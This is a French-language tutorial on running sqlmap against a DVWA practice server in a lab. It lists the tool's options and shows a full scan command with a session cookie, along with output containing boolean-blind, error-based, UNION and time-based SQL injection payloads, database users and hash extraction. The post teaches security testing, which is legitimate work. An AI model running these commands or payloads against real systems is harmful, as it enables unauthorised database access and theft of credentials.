Rappel :
Attention dans cet article l'outils est utilisé pour la recherche et l'apprentissage.
Ce type d'outils ne doit pas être utilisé vers un serveur qui ne vous appartient pas, ceci peut être puni par la loi (voir les articles 323-XX).
Présentation de l'outils :
SQLMap est un outils qui permet d'automatiser les requêtes SQL afin de trouver et d'utiliser une mauvaise configuration d'un serveur Web.
Présentation du terrain de jeux :
Un poste attaquant avec SQLMap qui va scanner un serveur avec DVWA.
La syntaxe de la commande :
1 sqlmap options
2
3 options :
4 - u : URL
5 -- cookie : cookie ( s ) à fournir comme le PHPSESSID s é parr é s par des ;
6 - dbs : afficher les bases disponibles du SGBD
7 -- banner : affiche la banno è re de la SGBD
8 -- current - user : affiche l 'utilisateur courant de la DB
9 --current-db : affiche la DB courante
10 --passwords : affiche les hashs des mots de passe
11 --dbms : affiche les différentes DB disponibles
12 --users : affiche les utilisateurs du SGBD
13 -D DBName : selectionne une DB
14 --tables : affiche les tables
15 --columns : affiche les colonnes de DBName
16 --count : afiiche le nombre d' enregistrement de chaque tables dans DBName
17 -- schema : affiche le sch é ma
18 -- dump : dump les tables de _DBName
19 -- dump - all : dump toutes les tables
Exemple :
1 # sqlmap -u "http://192.168.5.11/dvwa/vulnerabilities/sqli/?id=sdsd&Submit=Submit#" --cookie="PHPSESSID=b6bcad3d43f00c81ae3d248bf7f2d8f0; security=low" --dbs --banner --current-user --current-db --passwords --users
2
3 sqlmap / 1 . 0 - dev - automatic SQL injection and database takeover tool
4 http : //s qlmap . org
5
6 [!] legal disclaimer : Usage of sqlmap for attacking targets without prior mutual consent is illegal . It is the end user 's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
7
8 [] starting at 21:37:36
9
10 [21:37:36] [INFO] resuming back-end DBMS ' mysql '
11 [21:37:36] [INFO] testing connection to the target URL
12 sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
13 ---
14 Place: GET
15 Parameter: id
16 Type: boolean-based blind
17 Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
18 Payload: id=-2612' OR ( 1564 = 1564 ) #&Submit=Submit
19
20 Type : error - based
21 Title : MySQL >= 5 . 0 AND error - based - WHERE or HAVING clause
22 Payload : id = aa #' AND (SELECT 6272 FROM(SELECT COUNT(),CONCAT(0x7179716d71,(SELECT (CASE WHEN (6272=6272) THEN 1 ELSE 0 END)),0x7169706771,FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'ZIWW'='ZIWW&Submit=Submit
23
24 Type : UNION query
25 Title : MySQL UNION query ( NULL ) - 2 columns
26 Payload : id = aa #' UNION ALL SELECT CONCAT(0x7179716d71,0x6f655662555a66714277,0x7169706771),NULL#&Submit=Submit
27
28 Type : AND / OR time - based blind
29 Title : MySQL < 5 . 0 . 12 AND time - based blind ( heavy query )
30 Payload : id = aa #' AND 8670=BENCHMARK(5000000,MD5(0x424d415a)) AND 'ugRh'='ugRh&Submit=Submit
31 ---
32 [ 21 : 37 : 36 ] [ INFO ] the back - end DBMS is MySQL
33 [ 21 : 37 : 36 ] [ INFO ] fetching banner
34 web server operating system : Linux Ubuntu 8 . 04 ( Hardy Heron )
35 web application technology : PHP 5 . 2 . 4 , Apache 2 . 2 . 8
36 back - end DBMS operating system : Linux Ubuntu
37 back - end DBMS : MySQL 5
38 banner : '5.0.51a-3ubuntu5'
39 [ 21 : 37 : 36 ] [ INFO ] fetching current user
40 current user : 'root@%'
41 [ 21 : 37 : 36 ] [ INFO ] fetching current database
42 current database : 'dvwa'
43 [ 21 : 37 : 36 ] [ INFO ] fetching database users
44 database management system users [ 3 ] :
45 [] 'debian-sys-maint' @ ''
46 [] 'guest' @ '%'
47 [] 'root' @ '%'
48
49 [ 21 : 37 : 36 ] [ INFO ] fetching database users password hashes
50 do you want to store hashes to a temporary file for eventual further processing with other tools [ y / N ] y
51 [ 21 : 37 : 38 ] [ INFO ] writing hashes to a temporary file '/tmp/sqlmaphashes-iVnwDp.txt'
52 do you want to perform a dictionary - based attack against retrieved password hashes? [ Y / n / q ] y
53 [ 21 : 37 : 39 ] [ WARNING ] unknown hash format . Please report by e - mail to sqlmap - users @lists . sourceforge . net
54 [ 21 : 37 : 39 ] [ WARNING ] no clear password ( s ) found
55 database management system users password hashes :
56 [] debian - sys - maint [ 1 ] :
57 password hash : NULL
58 [] guest [ 1 ] :
59 password hash : NULL
60 [] root [ 1 ] :
61 password hash : NULL
62
63 [ 21 : 37 : 39 ] [ INFO ] fetching database names
64 available databases [ 7 ] :
65 [] dvwa
66 [] information_schema
67 [] metasploit
68 [] mysql
69 [] owasp10
70 [] tikiwiki
71 [] tikiwiki195
72
73 [ 21 : 37 : 39 ] [ INFO ] fetched data logged to text files under '/usr/share/sqlmap/output/192.168.5.11'
74
75 [*] shutting down at 21 : 37 : 39
On lui fournit l'URL ou l'on peut tester le SQLi et le cookie PHPSESSID, il faut avoir fait une connection avec un bon login/password avant.
Mot de la fin :
Il faut avouer que ce n'est pas vraiment transparent côté serveur Web on arrive un peu en faisant toc-toc à la porte !
Surtout s'il y a un IDS,IPS ou WAF.